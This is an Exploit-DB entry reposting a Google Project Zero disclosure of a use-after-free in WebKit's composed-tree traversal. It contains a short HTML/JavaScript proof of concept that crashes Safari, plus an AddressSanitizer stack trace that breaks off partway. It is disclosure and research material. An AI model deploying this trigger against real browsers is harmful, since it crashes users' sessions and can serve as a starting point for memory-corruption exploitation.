Exploit-DB #41812
Description: Apple WebKit - 'ComposedTreeIterator::traverseNextInShadowTree' Use-After-Free
Type: dos
Platform: multiple
Date: 2017-04-04
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1097

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on a nightly version of WebKit. The PoC has also been observed to crash Safari 10.0.2 on Mac.

PoC:

=================================================================
-->

<script>
function go() {
  d.open = false;
  d.innerHTML = "foo";
  d.open = true;
}
</script>
<body onload=go()>
<details id="d" open="true">
<div>foo</div>

<!--
=================================================================

ASan log:

=================================================================
==570==ERROR: AddressSanitizer: heap-use-after-free on address 0x[PII_REDACTED]58 at pc 0x00010e035a8b bp 0x7fff59453d00 sp 0x7fff59453cf8
READ of size 8 at 0x[PII_REDACTED]58 thread T0
    #0 0x10e035a8a in WebCore::Node::parentNode() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xba8a)
    #1 0x10e048c1a in WebCore::Node::parentElement() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1ec1a)
    #2 0x10e38c621 in WebCore::ComposedTreeIterator::traverseNextInShadowTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x362621)
    #3 0x10e3910d5 in WebCore::ComposedTreeIterator::traverseNext() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3670d5)
    #4 0x110816a53 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27eca53)
    #5 0x110817306 in WebCore::Style::TreeResolver::resolve(WebCore::Style::Change) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27ed306)
    #6 0x10e724e7f in WebCore::Document::recalcStyle(WebCore::Style::Change) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6fae7f)
    #7 0x10e7259e3 in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6fb9e3)
    #8 0x10ea913a1 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa673a1)
    #9 0x10ea8e8da in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa648da)
    #10 0x10e7430ad in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7190ad)
    #11 0x10ec3d79d in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1379d)
    #12 0x10e7d824c in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae24c)
    #13 0x10e79c86f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f)
    #14 0x10e27cfb7 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x252fb7)
    #15 0x10e277b69 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24db69)
    #16 0x1108287e4 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe7e4)
    #17 0x107099615 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de615)
    #18 0x107098c2a in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8ddc2a)
    #19 0x106a471f9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x28c1f9)
    #20 0x10686a448 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xaf448)
    #21 0x106873614 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb8614)
    #22 0x10bd53ab3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b6ab3)
    #23 0x10bd55f1e in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b8f1e)
    #24 0x7fffa0f3c7e0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xaa7e0)
    #25 0x7fffa0f1bf1b in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x89f1b)
    #26 0x7fffa0f1b43e in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x8943e)
    #27 0x7fffa0f1ae37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37)
    #28 0x7fff92663934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A